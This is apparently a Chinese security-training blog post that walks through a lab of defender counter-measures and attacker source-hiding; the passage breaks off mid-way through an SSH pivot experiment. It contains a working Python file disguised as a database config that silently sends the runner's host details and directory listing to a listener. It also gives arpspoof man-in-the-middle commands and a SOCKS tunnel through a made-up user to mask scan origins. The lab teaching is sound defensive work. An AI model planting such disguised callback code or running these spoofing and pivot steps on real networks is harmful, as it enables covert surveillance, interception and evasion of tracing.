文章总结: 该文档详细介绍了网络安全攻防演练中防守方的主动反制策略与攻击路径隐藏技术。通过搭建包含Ubuntu防守端、Kali攻击端和Windows辅助机的实验环境,文档展示了诱饵文件反制、SSH蜜罐、ARP欺骗检测等核心防御手段。关键发现包括利用伪装配置文件获取攻击者主机信息、通过蜜罐消耗攻击者时间资源、以及使用arpwatch监控ARP表异常。可操作建议涵盖部署诱饵文件到backup目录、配置SSH蜜罐服务、建立DNS隧道隐蔽通信等具体实施方案。
综合评分: 85
文章分类: 红队,内网渗透,应急响应,安全建设,网络安全
攻防演练:防守方反制与攻击路径隐藏方案
原创
小智
小智
智榜样网络安全学习中心
2026年5月19日 14:00
湖南
在小说阅读器读本章
去阅读
往期推荐
红队在 Windows 日志的痕迹清理过程,蓝队溯源反制解决方案
windows内网渗透常用的60个命令,以及使用技巧,w字解析
前言
为了帮助在护网中,以及正在准备护网面试的师傅们提供一些攻击技巧以及蓝队防守的一些方法,我们搭建了贴近真实的企业内网攻防环境,以在红蓝对抗视角带你亲手复现核心攻防技术。
材料准备
实验环境
本实验模拟一个真实的企业内网攻防场景。三台机器分别扮演不同角色:
| 角色 | 系统 | IP | 用途 |
| — | — | — | — |
| 防守端 | Ubuntu 22.04.4 LTS | 192.168.23.131 | 蜜罐、监控、检测 |
| 攻击端 | Kali Linux | 192.168.23.199 | 模拟红队操作 |
| 辅助 | Windows 11 | 192.168.23.201 | 部分截图用 Wireshark |
网络:同一局域网,相互 ping 通。
为什么选这三个系统?
- Ubuntu 22.04.4 LTS:企业中最常见的 Linux 服务器发行版,很多生产环境的 Web 服务器、数据库都跑在上面。用它做防守端,贴近真实场景。
- Kali Linux:安全从业者的标配渗透测试系统,预装了大量红队工具(nmap、metasploit、burpsuite 等)。用它模拟攻击者,省去逐个安装工具的麻烦。
- Windows 11:作为”受害者”内网中的一台普通办公机,同时也是 Wireshark 抓包分析的辅助平台。真实环境中,攻击者往往最终目标是拿到域控或内网某台 Windows 主机的权限。
网络拓扑说明:三台机器在同一 192.168.23.0/24 子网内,无需配置路由,直接二层互通。这模拟的是一个扁平化的企业内网——没有 VLAN 隔离,攻击者一旦进入内网就可以横向移动。
实验前准备(Ubuntu 防守端 + Kali 攻击端都要做)
Ubuntu 防守端
# 安装依赖
sudo apt update
sudo apt install -y python3-pip tcpdump netcat-openbsd openssh-server apache2 dsniff arpwatch bind9
# Python 库
pip3 install paramiko scapy
# 创建实验目录
mkdir -p ~/experiments/{bait_file,honeypot,arp_detect,ssh_tunnel,dns_tunnel,fastflux,screenshots}
各工具用途说明:
tcpdump:命令行抓包工具,用于捕获网络流量并保存为 pcap 文件,后续可用 Wireshark 分析netcat-openbsd(nc):网络瑞士军刀,这里用作监听器接收诱饵脚本的回连数据openssh-server:SSH 服务,实验 4 中作为跳板使用apache2:Web 服务器,用于部署诱饵文件,模拟攻击者能访问到的”敏感目录”dsniff:包含arpspoof等工具的网络嗅探套件(防守端也装一份,便于对比分析)arpwatch:ARP 监控工具,能检测 ARP 表变化并记录日志,用于发现 ARP 欺骗攻击bind9:DNS 服务器软件,实验 5 中配合 iodine 构建 DNS 隧道服务端paramiko:Python 的 SSH 库,蜜罐脚本用它模拟 SSH 服务端scapy:Python 的网络包构造库,可用于自定义网络检测逻辑
Clip_2026-05-13_18-39-02
Kali 攻击端
sudo apt update
sudo apt install -y python3-pip tcpdump netcat-openbsd dsniff iodine
mkdir shiyan
cd shiyan
python3 -m venv venv
source ./venv/bin/activate
pip3 install scapy paramiko
Kali 端工具说明:
dsniff:包含arpspoof,用于发动 ARP 欺骗中间人攻击iodine:DNS 隧道工具的客户端,配合服务端建立 DNS 隧道scapy/paramiko:Python 库,部分自定义攻击脚本需要- 使用 Python 虚拟环境(venv)是好习惯,避免污染系统 Python 环境
注意:Kali 自带了很多工具(nmap、proxychains 等),这里只补充安装缺失的部分。
Clip_2026-05-13_18-43-03
第一部分:防守方反制
❝
主要思想:防守不一定是被动挨打。通过精心设计的陷阱和监控,防守方可以主动收集攻击者情报、消耗攻击者时间、甚至反向获取攻击者主机信息。
实验 1:诱饵文件反制
目标: 在 Web 目录放置伪装的 Python 脚本,攻击者下载执行后,防守端自动获取对方主机信息。
原理: 脚本外层伪装成数据库配置文件,内部藏着反向 Shell。攻击者以为是敏感文件,一执行就中招。
为什么诱饵文件有效?
在真实的攻防演练中,攻击者拿到一台 Web 服务器的权限后,第一件事往往是翻找配置文件——因为配置文件里通常藏着数据库密码、API Key、内网 IP 等高价值信息。攻击者看到一个叫 database_config.py 的文件,里面写着 DB_PASS = "Admin@2024",很难不心动。
反制逻辑的巧妙之处:
- 伪装层:文件顶部确实是看起来正常的数据库配置(DB_HOST、DB_PORT、DB_USER、DB_PASS),让攻击者放松警惕
- 触发条件:只有当脚本被直接
python3 database_config.py执行时才会触发反制逻辑,如果是被import引入则不会触发——这恰好匹配攻击者的行为模式 - 反向连接:脚本主动连接防守端的 4444 端口,发送攻击者的主机名、用户名、IP、系统版本、当前目录等信息。这不是真正的”反向 Shell”(没有交互式命令行),而是一个”情报回传”,更隐蔽也更安全
- 静默执行:脚本中的
try/except捕获所有异常,即使连接失败也不会报错,攻击者不会察觉异常
步骤 1.1 — Ubuntu:编写诱饵脚本
cd ~/experiments/bait_file
vim database_config.py
写入以下内容:
#!/usr/bin/env python3
"""数据库配置文件 - 请勿修改"""
import socket
import subprocess
import os
import platform
# ===== 伪装配置 =====
DB_HOST = "localhost"
DB_PORT = 3306
DB_USER = "admin"
DB_PASS = "Admin@2024"
DB_NAME = "production_db"
# =====================
# ===== 反制逻辑(隐藏在上百行配置中)=====
def __internal_health_check__():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.23.131", 4444))
# 发送主机信息
info = f"""
========================================
[!] 主机名: {socket.gethostname()}
[!] 用户名: {os.getlogin()}
[!] IP地址: {socket.gethostbyname(socket.gethostname())}
[!] 系统: {platform.platform()}
[!] 当前目录: {os.getcwd()}
========================================
"""
s.send(info.encode())
# 发送目录列表
result = subprocess.run(["ls", "-la"], capture_output=True, text=True)
s.send(f"\n[目录列表]\n{result.stdout}".encode())
s.close()
except:
pass
# 触发条件:脚本被直接执行时才触发(import 不触发)
# 攻击者拿到文件肯定直接 python3 跑,正好触发
__internal_health_check__()
代码逐行解析:
socket.AF_INET, socket.SOCK_STREAM:创建 TCP 连接,这是最可靠的传输方式s.connect(("192.168.23.131", 4444)):主动连接防守端的 4444 端口。攻击者执行脚本时,是从攻击者的机器发起连接,所以防守端能直接看到攻击者的 IPsocket.gethostname()/os.getlogin()/platform.platform():获取攻击者的主机名、当前登录用户名、操作系统版本——这些是溯源的关键信息subprocess.run(["ls", "-la"]):列出攻击者当前目录的文件,可以了解攻击者的工作环境和可能的工具__internal_health_check__():函数名故意伪装成”内部健康检查”,降低攻击者的警觉。用双下划线包裹,看起来像 Python 的内部方法except: pass:静默失败,即使攻击者机器上网络不通或端口被拦截,也不会暴露脚本的真实意图
Clip_2026-05-13_18-45-41
步骤 1.2 — Ubuntu:部署诱饵
# 创建 Web 目录
sudo mkdir -p /var/www/html/backup
# 复制诱饵
sudo cp ~/experiments/bait_file/database_config.py /var/www/html/backup/
# 启动 HTTP 服务
cd /var/www/html/backup
python3 -m http.server 8080
部署思路:
- 为什么放在
/var/www/html/backup/? 真实环境中,Web 服务器的backup、bak、old、archive等目录是攻击者重点翻找的目标——这些目录名暗示着”旧版本”或”备份”,很可能包含敏感配置文件 - 为什么用 8080 端口? 模拟一个非标准端口的 Web 服务。真实环境中,很多内网的管理后台、测试环境跑在 8080、8443、9090 等端口上,攻击者做内网扫描时都会探测这些端口
python3 -m http.server:Python 内置的简易 HTTP 服务器,无需安装额外软件,适合快速搭建临时文件下载服务。在前台运行,方便观察访问日志
实战技巧:还可以在 Web 目录下放一个 index.html,列出一些看起来像目录结构的链接,把攻击者引导到诱饵文件。或者在 robots.txt 里故意”泄露”backup 目录的路径。
Clip_2026-05-13_18-46-41
步骤 1.3 — Ubuntu:新开终端,启动监控
cd ~/experiments/bait_file
# 监听 4444 端口,等待攻击者上钩
nc -lvnp 4444
nc 命令参数解析:
-l(listen):监听模式,等待别人连进来-v(verbose):显示详细信息,包括连接来源 IP 和端口-n(numeric):不进行 DNS 解析,直接显示 IP 地址(更快,也避免 DNS 查询泄露信息)-p 4444:监听 4444 端口,要和诱饵脚本中的端口号一致
为什么要新开终端? 因为 HTTP 服务器已经在当前终端前台运行了。nc 监听器需要另一个终端。在真实场景中,防守方通常会把监听器放在 tmux/screen 的独立窗口中,或者用 nohup 放到后台并重定向日志到文件。
Clip_2026-05-13_18-47-28
步骤 1.4 — Kali:模拟攻击者发现并执行诱饵
# 攻击者扫描到 Web 目录,下载"配置文件"
wget http://192.168.23.131:8080/database_config.py
# 查看文件内容,看起来就是普通配置
head -20 database_config.py
# 执行它
python3 database_config.py
攻击者视角的行为分析:
- 发现阶段:攻击者通常会用
nmap或dirb/gobuster扫描 Web 目录,发现/backup/路径 - 判断阶段:看到
database_config.py这个文件名,攻击者会认为这是数据库凭据文件。用head或cat查看内容,看到DB_PASS = "Admin@2024"等配置,更加确信这是高价值文件 - 执行阶段:攻击者可能想”先执行看看会不会报错,顺便确认数据库连接信息”——这正好触发了反制逻辑
- 结果:脚本执行后没有明显输出(反制逻辑是静默的),攻击者可能觉得”只是个配置文件,没有 main 入口所以什么都没发生”,然后继续干别的——完全不知道自己的信息已经泄露了
head -20 的意义:攻击者通常不会直接 python3 执行一个未知脚本(怕有反制),会先 cat 或 head 查看内容。但这个诱饵的巧妙之处在于——前 20 行看起来完全无害,就是普通的数据库配置,反制逻辑在文件末尾。攻击者看到配置正常,就放心执行了。
Clip_2026-05-13_18-48-20
Clip_2026-05-13_18-48-29
步骤 1.5 — Ubuntu:查看反制结果
回到 nc 监听的终端,会看到攻击者的主机信息:
========================================
[!] 主机名: kali
[!] 用户名: zss
[!] IP地址: 192.168.23.199
[!] 系统: Linux-6.x...
[!] 当前目录: /home/zss
========================================
从反制结果能获得什么?
- 主机名
kali:直接暴露了攻击者使用的是 Kali Linux——这在攻防演练中是关键情报,说明对方是安全团队在做渗透测试,而非普通用户 - 用户名
zss:知道了攻击者的操作系统用户名。在真实场景中,这个用户名可能和他的邮箱、社交账号有关联,有助于溯源到具体的人 - IP
192.168.23.199:确认了攻击者的真实 IP。在内网中,这个 IP 可以通过 DHCP 日志、交换机 MAC 表等关联到具体的物理端口和设备 - 系统版本
Linux-6.x:知道了攻击者的内核版本,可以针对性地判断哪些内核提权漏洞可能被利用 - 目录列表:能看到攻击者当前目录下有哪些文件和工具,推测其攻击阶段和下一步行动
在真实攻防演练中的价值:这些信息可以立即反馈给防守指挥部,帮助判断攻击来源、攻击者技术水平、以及是否需要封禁该 IP。
Clip_2026-05-13_18-48-42
实验 1 完成,清理
# Ubuntu: Ctrl+C 停掉 HTTP server 和 nc
# 可选:删除诱饵
sudo rm /var/www/html/backup/database_config.py
实验 2:SSH 蜜罐 — 捕获攻击者行为
目标: 部署轻量 SSH 蜜罐,记录攻击者的登录尝试、用户名密码、执行命令。
原理: 用 Python Paramiko 模拟 SSH 服务,接受任何密码,记录所有操作。
什么是蜜罐?为什么用 SSH 蜜罐?蜜罐(Honeypot)是一种主动防御技术——故意暴露一个看起来像真实服务的”假目标”,引诱攻击者进来,然后记录他的一切行为。
SSH 蜜罐的实战价值:
- 收集攻击情报:记录攻击者尝试的用户名和密码组合,了解其字典库和攻击策略
- 消耗攻击时间:攻击者在蜜罐里折腾的每一分钟,都是在真实系统上少花的一分钟
- 记录攻击手法:攻击者在假 Shell 里执行的命令,暴露了他的思路和下一步计划
- 预警作用:蜜罐被触碰说明内网已经有入侵者,是最早的告警信号
为什么用 Paramiko 而不是直接改 SSH 端口?
- 如果只是把真实 SSH 改到 2222 端口,攻击者用 nmap 扫到后连接上来,会进入真实的系统——这就不是蜜罐了
- 用 Paramiko 模拟的 SSH 服务端,接受任何密码,给攻击者一个假的 Shell。攻击者以为自己已经拿到了 root 权限,实际上他执行的所有命令都被记录在案,而且不会对真实系统造成任何影响
- Paramiko 蜜罐还可以模拟不同的系统回复——比如
uname -a返回一个看起来很老的内核版本,诱导攻击者尝试已知漏洞,进一步暴露其工具链
本脚本的关键设计:
check_auth_password无条件返回AUTH_SUCCESSFUL:任何密码都能登录,降低攻击者警觉- 手动实现行缓冲(逐字节读取):解决 SSH 通道中命令回显和缓冲区拆分的问题
- 模拟常见命令输出:
ls、whoami、id、cat /etc/passwd等返回看起来合理的结果 - 日志同时输出到终端和文件:终端实时观察,文件持久保存
步骤 2.1 — Ubuntu:编写蜜罐脚本
cd ~/experiments/honeypot
vim ssh_honeypot.py
写入以下内容:
#!/usr/bin/env python3
"""轻量 SSH 蜜罐 - 修复行缓冲,防止命令被拆成单字符"""
import socket
import threading
import paramiko
import time
import os
HOST_KEY = paramiko.RSAKey.generate(2048)
LOG_FILE = "/root/experiments/honeypot/honeypot.log"
class SSHHoneypot(paramiko.ServerInterface):
def __init__(self, client_ip):
self.client_ip = client_ip
self.commands = []
def check_auth_password(self, username, password):
log(f"[!] {self.client_ip} - 登录尝试: {username}:{password}")
return paramiko.AUTH_SUCCESSFUL
def check_channel_request(self, kind, chanid):
if kind == "session":
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_channel_exec_request(self, channel, command):
cmd = command.decode("utf-8", errors="ignore").strip()
log(f"[CMD] {self.client_ip} - {cmd}")
self.commands.append(cmd)
channel.send(f"bash: {cmd.split()[0]}: command not found\n".encode() if "ls" not in cmd else b"")
channel.send_exit_status(127)
return True
def check_channel_shell_request(self, channel):
return True
def check_channel_pty_request(self, *args, **kwar
gs):
return True
def log(msg):
timestamp = time.strftime("%Y-%m-%d %H:%M:%S")
line = f"[{timestamp}] {msg}"
print(line)
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
with open(LOG_FILE, "a") as f:
f.write(line + "\n")
def handle_client(client_sock, client_ip):
transport = None
try:
transport = paramiko.Transport(client_sock)
transport.add_server_key(HOST_KEY)
server = SSHHoneypot(client_ip)
transport.start_server(server=server)
chan = transport.accept(20)
if chan is None:
log(f"[-] {client_ip} 未能在 20 秒内完成认证,断开")
return
# 发送欢迎信息和第一个提示符
chan.send(b"Welcome to Ubuntu 22.04.4 LTS\r\n$ ")
buffer = b""
while True:
# 每次只读一个字节,手动实现行缓冲
data = chan.recv(1)
if not data:
break
if data in (b'\n', b'\r'):
if buffer:
cmd = buffer.decode("utf-8", errors="ignore").strip()
if cmd:
log(f"[CMD] {client_ip} - {cmd}")
server.commands.append(cmd)
# 模拟命令输出
if cmd.startswith("ls"):
chan.send(b"file1.txt file2.txt\n")
elif cmd.startswith("whoami"):
chan.send(b"root\n")
elif cmd.startswith("id"):
chan.send(b"uid=0(root) gid=0(root) groups=0(root)\n")
elif cmd.startswith("cat /etc/passwd"):
chan.send(b"root:x:0:0:root:/root:/bin/bash\n")
elif cmd.startswith("uname -a"):
chan.send(b"Linux ubuntu 5.15.0-91-generic #101-Ubuntu SMP ... x86_64 GNU/Linux\n")
else:
chan.send(f"bash: {cmd.split()[0]}: command not found\n".encode())
buffer = b""
chan.send(b"$ ") # 下一个提示符
else:
buffer += data
except Exception as e:
log(f"[!] {client_ip} 错误: {e}")
finally:
try:
if transport:
transport.close()
except:
pass
def main():
port = 2222
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("0.0.0.0", port))
sock.listen(10)
log(f"[+] SSH 蜜罐启动在端口 {port}")
while True:
client, addr = sock.accept()
log(f"[+] 新连接: {addr[0]}:{addr[1]}")
threading.Thread(target=handle_client, args=(client, addr[0])).start()
if __name__ == "__main__":
main()
代码关键点详解:
HOST_KEY = paramiko.RSAKey.generate(2048):动态生成 RSA 密钥对,每次启动蜜罐都用新密钥,避免蜜罐密钥被提取后反向识别check_auth_password无条件返回成功:这是蜜罐的主要作用——让攻击者以为密码正确,实际上任何密码都能进来check_channel_pty_request和check_channel_shell_request都返回 True:允许攻击者获得伪终端和 Shell,让他觉得自己真的拿到了交互式命令行- 逐字节读取
chan.recv(1):这是一个关键的技术细节。SSH 协议中,客户端的输入可能被缓冲,如果不逐字节读取,攻击者输入whoami可能被一次性读入变成whoami\n,或者被拆成w``h``o``a``m``i分多次到达。逐字节读取并手动判断换行符,确保每个命令都被完整捕获 - 模拟命令输出:
ls返回假文件列表,whoami返回root,id返回 root 权限信息——让攻击者觉得自己拿到了高权限 shell,继续探索 threading.Thread:每个连接一个线程,支持多个攻击者同时连接SO_REUSEADDR:允许快速重启蜜罐而不会出现”端口被占用”的错误
Clip_2026-05-13_19-11-21
步骤 2.2 — Ubuntu:启动蜜罐
cd ~/experiments/honeypot
sudo python3 ssh_honeypot.py
为什么需要 sudo?
- 端口 2222 虽然大于 1024(非特权端口),但某些系统配置下绑定端口仍需要 root 权限
- 更重要的是,真实场景中蜜罐通常监听 22 端口(SSH 默认端口),这需要 root 权限
- 本实验用 2222 是为了避免和真实的 SSH 服务(22 端口)冲突
启动后你会看到:[+] SSH 蜜罐启动在端口 2222——这表示蜜罐已经在监听,等待攻击者连接。
Clip_2026-05-13_18-56-42
步骤 2.3 — Kali:模拟攻击者尝试连接
# 攻击者扫描到 2222 端口开放
nmap -p 2222 192.168.23.131
# 尝试 SSH 连接
ssh -p 2222 [email protected]
# 输入任意密码,都会被接受
# 在假 shell 中尝试执行命令,输入的命令不会在终端显示出来,不过回车还是可以执行的
whoami
id
cat /etc/passwd
uname -a
攻击者的行为模式:
- 端口扫描:
nmap -p 2222发现目标机器开放了 2222 端口,服务识别为 SSH - 尝试连接:
ssh -p 2222 [email protected],输入密码(可能是弱密码如123456、root、toor等) - 确认权限:连接成功后,攻击者第一反应是确认自己拿到了什么权限——所以
whoami、id是最先执行的命令 - 信息收集:看到自己是
root后,攻击者开始收集系统信息——cat /etc/passwd看用户列表,uname -a看内核版本 - 为什么命令不显示? SSH 伪终端下,输入的字符默认不回显(由客户端控制)。这在蜜罐中反而更好——攻击者不会看到异常的回显延迟或格式问题
蜜罐的欺骗效果:攻击者看到 uid=0(root) 和正常的 Ubuntu 欢迎信息,会认为自己真的拿到了 root shell,继续执行更多命令——每一条都被蜜罐记录下来。
Clip_2026-05-13_19-08-10
Clip_2026-05-13_19-07-48
步骤 2.4 — Ubuntu:查看捕获日志
# 蜜罐终端会实时显示攻击行为
# 另开终端查看日志文件
cat ~/experiments/honeypot/honeypot.log
输出示例:
[2026-05-13 15:30:01] [!] 192.168.23.199 - 登录尝试: root:123456
[2026-05-13 15:30:05] [CMD] 192.168.23.199 - whoami
[2026-05-13 15:30:08] [CMD] 192.168.23.199 - cat /etc/passwd
日志分析要点:
- 登录尝试记录:
root:123456暴露了攻击者使用的密码字典。在真实场景中,收集多次蜜罐记录后,可以分析出攻击者常用的密码组合,反向加固真实系统的密码策略 - 命令执行序列:攻击者的命令顺序暴露了他的思路——先确认权限,再收集信息,下一步可能就是提权或横向移动
- 时间戳:记录每个操作的时间,可以分析攻击者的操作速度和节奏。如果命令间隔很短(< 1 秒),说明可能是自动化脚本而非手动操作
- IP 来源:
192.168.23.199确认了攻击者的真实 IP,可以直接用于溯源
实战扩展:在真实的蜜罐部署中,还可以记录 SSH 客户端版本、键盘输入的时间间隔、鼠标移动模式等,用于判断是人类操作还是自动化工具。
Clip_2026-05-13_19-08-54
Clip_2026-05-13_19-09-08
实验 2 完成,清理:
# Ubuntu: Ctrl+C 停掉蜜罐
实验 3:ARP 欺骗检测与溯源
目标: Kali 发动 ARP 欺骗中间人攻击,Ubuntu 用 arpwatch 检测异常并定位攻击者。
什么是 ARP 欺骗?ARP(Address Resolution Protocol)是局域网中将 IP 地址解析为 MAC 地址的协议。ARP 欺骗的主要原理是:ARP 协议是”无状态”的——它不会验证收到的 ARP 回复是否真的是对应 IP 发出的。攻击者可以伪造 ARP 回复,告诉目标机器”网关的 MAC 地址是我(攻击者)的 MAC”,这样目标机器的所有出站流量都会先经过攻击者,再转发给真正的网关——这就是中间人攻击(Man-in-the-Middle)。
ARP 欺骗的危害:
- 流量窃听:攻击者可以看到目标机器所有的网络通信(HTTP 请求、DNS 查询、FTP 密码等)
- 流量篡改:攻击者可以修改经过的数据包,比如在下载的文件中注入恶意代码
- 会话劫持:通过嗅探 Cookie,攻击者可以接管目标的 Web 会话
- DNS 劫持:配合 ARP 欺骗,攻击者可以篡改 DNS 响应,将用户引导到钓鱼网站
本实验的检测思路:
- 基线记录:先记录正常的 ARP 表,作为对比基准
- 实时监控:arpwatch 持续监听 ARP 报文,检测 MAC 地址变化
- 异常比对:定期对比当前 ARP 表和基线,发现不一致就告警
- 溯源定位:通过 MAC 地址追溯到攻击者的物理设备
步骤 3.1 — Ubuntu:部署检测
#如果没有arp工具的,先装一下工具
apt install net-tools
# 先记录正常 ARP 表
arp -a > ~/experiments/arp_detect/normal_arp.txt
cat ~/experiments/arp_detect/normal_arp.txt
为什么要先记录正常 ARP 表?ARP 表是操作系统维护的 IP→MAC 映射缓存。在正常情况下,网关(192.168.23.2)的 MAC 地址应该是固定不变的(对应真实网关设备的网卡)。先记录一份”干净”的 ARP 表,后续检测时就可以通过 diff 命令快速发现哪个 IP 的 MAC 地址发生了变化。
arp -a 的输出格式:
? (192.168.23.2) at 00:50:56:ee:ee:ee [ether] on eth0
这里 00:50:56:ee:ee:ee 就是 192.168.23.2 对应的 MAC 地址。如果 ARP 欺骗发生,这个 MAC 会变成攻击者的 MAC。
Clip_2026-05-13_19-12-03
# 启动 arpwatch 监控(需要 sudo)
sudo arpwatch -i eth0
# 另开终端,查看 arpwatch 日志
sudo tail -f /var/log/syslog | grep arpwatch
arpwatch 的工作原理:
- arpwatch 会监听网卡上的所有 ARP 报文
- 它维护一个内部数据库,记录每个 IP 对应的 MAC 地址和首次/最近出现时间
- 当检测到某个 IP 的 MAC 地址发生变化时,它会记录一条日志(”flip flop” 或 “changed”)
- 如果检测到全新的 IP-MAC 对应关系,也会记录(可能是新设备上线,也可能是攻击)
arpwatch 日志的关键字段:
flip flop:同一个 IP 的 MAC 地址在两个值之间反复切换——这是 ARP 欺骗的典型特征(因为真实网关和攻击者交替发送 ARP 回复)changed:MAC 地址直接变成了另一个值——更明显的异常ethernet mismatch:检测到 MAC 地址和之前记录的不一致
Clip_2026-05-13_19-28-20
步骤 3.2 — Kali:发动 ARP 欺骗
# 先确认目标 IP 和网关 IP
ip route show
# 假设网关是 192.168.23.2
# 开启 IP 转发
sudo sysctl -w net.ipv4.ip_forward=1
# 发动 ARP 欺骗(让 Ubunt 以为 Kali 是网关)
sudo arpspoof -i eth0 -t 192.168.23.131 192.168.23.2
arpspoof 命令解析:
-i eth0:指定使用的网卡-t 192.168.23.131:指定目标机器(Ubuntu 防守端)192.168.23.2:冒充的 IP(网关)- 命令执行后,Kali 会持续向 Ubuntu 发送伪造的 ARP 回复:”我是 192.168.23.2,我的 MAC 地址是
“
为什么必须开启 IP 转发?如果不开启 net.ipv4.ip_forward=1,Kali 收到 Ubuntu 转发过来的数据包后会直接丢弃(因为目标 IP 不是自己)。这样 Ubuntu 就会断网——攻击者暴露了但没实现中间人。开启 IP 转发后,Kali 会把数据包再转发给真正的网关,Ubuntu 的网络通信看起来正常,但实际上所有流量都经过了 Kali。
ARP 欺骗的持续性:arpspoof 会以固定间隔(默认约 1 秒)持续发送伪造 ARP 包。这是因为操作系统会定期刷新 ARP 缓存,如果攻击者停止发送,ARP 表会逐渐恢复到真实状态。
Clip_2026-05-13_19-30-42
步骤 3.3 — Ubuntu:发现异常
# 再次查看 ARP 表
arp -a | tee ~/experiments/arp_detect/poisoned_arp.txt
# 对比变化
diff ~/experiments/arp_detect/normal_arp.txt ~/experiments/arp_detect/poisoned_arp.txt
你会看到 192.168.23.2 的 MAC 地址变成了 Kali 的 MAC——这就是 ARP 欺骗的典型特征。
diff 输出的含义:
< ? (192.168.23.2) at 00:50:56:ee:ee:ee [ether] on eth0
---
> ? (192.168.23.2) at 00:0c:29:aa:bb:cc [ether] on eth0
<表示原来的记录(正常状态)>表示现在的记录(被篡改后)- MAC 地址从
00:50:56:ee:ee:ee(网关)变成了00:0c:29:aa:bb:cc(Kali 攻击者)
这说明了什么? 网关 IP 192.168.23.2 现在对应的是攻击者的 MAC 地址——所有发往网关的流量都会先到攻击者手里。
Clip_2026-05-13_19-32-44
Clip_2026-05-13_19-31-48
# arpwatch 也会记录到异常
sudo grep "flip flop\|changed" /var/log/syslog | tail -10
arpwatch 日志分析:arpwatch 会记录类似这样的日志:
arpwatch: flip flop 192.168.23.2 00:0c:29:aa:bb:cc (00:50:56:ee:ee:ee)
这表示 192.168.23.2 的 MAC 地址在 00:50:56:ee:ee:ee(真实网关)和 00:0c:29:aa:bb:cc(攻击者)之间反复切换——这就是 ARP 欺骗的”签名特征”。因为攻击者和真实网关都在发送 ARP 回复,目标机器的 ARP 缓存就会在两个 MAC 之间来回翻转。
Clip_2026-05-13_19-33-00
步骤 3.4 — 溯源定位
# 确认攻击者的 MAC 地址
arp -a | grep 192.168.23.2
# 查找该 MAC 对应的 IP
arp -a | grep "<攻击者的MAC>"
# 或者在 Kali 上查看自己的 MAC
# Kali: ip link show eth0
溯源的方法论:
- 从 ARP 表获取 MAC:
arp -a | grep 192.168.23.2得到被篡改的 MAC 地址 - 反查 MAC 对应的 IP:在同一个 ARP 表中搜索这个 MAC,可能直接找到攻击者的 IP
- 交换机 MAC 表:在真实的企业网络中,可以在交换机上执行
show mac address-table查看这个 MAC 连接在哪个物理端口上,直接定位到墙上的哪个网口 - DHCP 日志:如果攻击者是通过 DHCP 获取 IP 的,DHCP 服务器的日志会记录 MAC→IP→时间的完整映射
- 物理定位:知道了交换机端口后,顺着网线就能找到攻击者接入的物理位置
在本实验中:攻击者的 MAC 地址是 Kali 虚拟网卡的 MAC(VMware 分配的 00:0c:29:xx:xx:xx 格式),可以直接对应到 192.168.23.199 这个 IP。
Clip_2026-05-13_19-34-56
Clip_2026-05-13_19-35-16
实验 3 完成,清理:
# Kali: Ctrl+C 停掉 arpspoof
sudo sysctl -w net.ipv4.ip_forward=0
# Ubuntu: Ctrl+C 停掉 arpwatch
第二部分:攻击路径隐藏
❝
主要思想:攻击者一旦进入内网,面临的最大风险是被溯源。通过跳板、协议隧道、IP 轮换等技术,攻击者可以隐藏真实来源,增加防守方的溯源难度。
实验 4:利用跳板隐藏真实攻击源
目标: 攻击者通过 SSH 隧道将流量经由 Ubuntu 跳板转发到 Windows,让 Windows 日志显示攻击源是 Ubuntu 而非 Kali。
原理: SSH 动态端口转发(SOCKS 代理),Kali 的 nmap 扫描流量全部走 Ubuntu 出去。
为什么需要隐藏攻击源?在真实的攻防演练中,防守方会通过日志溯源定位攻击者。如果 Windows 防火墙日志显示扫描流量来自 192.168.23.199(Kali),防守方可以直接定位到攻击者的机器。但如果流量来自 192.168.23.131(Ubuntu),防守方会误以为是内网中一台正常的服务器发出的——溯源就断了。
SSH 隧道的工作原理:
- Kali 通过 SSH 连接到 Ubuntu(这个连接本身是加密的,中间人看不到内容)
- Kali 在本地监听 1080 端口,建立一个 SOCKS 代理服务
- 当 Kali 上的工具(如 nmap)配置使用这个 SOCKS 代理时,所有网络流量会先通过 SSH 加密隧道发送到 Ubuntu
- Ubuntu 收到后解密,以自己的 IP 地址向目标(Windows)发起真正的连接
- Windows 看到的源 IP 是 Ubuntu(192.168.23.131),完全看不到 Kali
SSH 隧道 vs VPN:
- SSH 隧道:轻量、无需额外软件、利用已有的 SSH 服务,适合快速搭建临时跳板
- VPN:更全面的隧道方案,但配置复杂,在攻防演练中不如 SSH 隧道灵活
步骤 4.1 — 准备工作
# Ubuntu: 确保 SSH 服务运行
sudo systemctl start ssh
sudo systemctl status ssh
# 创建跳板专用用户
sudo useradd -m jumper
sudo passwd jumper
# 密码设为 jumper123
为什么要创建专用用户 jumper?
- 最小权限原则:跳板用户只需要能建立 SSH 连接即可,不需要 root 权限
- 日志隔离:所有跳板流量都记录在这个用户的 SSH 日志中,方便后续分析和清理
- 安全清理:实验结束后直接
userdel -r jumper即可删除所有痕迹,不会影响系统其他用户 - 实战意义:在真实攻击中,攻击者往往会创建一个看起来正常的用户名(如
jumper、svc_account、backup),避免引起管理员注意
Clip_2026-05-13_19-35-54
步骤 4.2 — Kali:建立 SSH 动态隧道
# 建立 SOCKS 代理,本机 1080 端口流量全部走 Ubuntu
ssh -D 1080 -N -f [email protected]
# 输入密码 jumper123
# 验证隧道建立
ss -tlnp | grep 1080
SSH 参数详解:
-D 1080:在本地 1080 端口创建 SOCKS 代理。SOCKS 是一种通用代理协议,支持 TCP 和 UDP 流量转发-N:不执行远程命令,只做端口转发。没有-N的话 SSH 会尝试打开一个 Shell,我们不需要-f:SSH 连接建立后放到后台运行。这样终端可以继续执行其他命令[email protected]:以 jumper 用户身份连接 Ubuntu 的 SSH 服务
ss -tlnp | grep 1080 的含义:
ss:查看 socket 状态(替代旧的netstat)-t:显示 TCP 连接-l:显示监听状态的 socket-n:不解析域名(直接显示 IP 和端口号)-p:显示进程信息- 输出中看到
127.0.0.1:1080监听,说明 SOCKS 代理已就绪
隧道建立后:Kali 本地的 1080 端口就是一个 SOCKS 代理服务器。任何配置了这个代理的工具,其流量都会通过 SSH 隧道经由 Ubuntu 出去。
Clip_2026-05-13_19-37-15
步骤 4.3 — Kali:通过隧道发起攻击
# 直接扫描 Windows(不使用代理)—— 会被发现真实 IP
nmap -Pn -p 135,445 192.168.23.201
# 通过 SSH 隧道扫描 Windows(使用 SOCKS 代理)
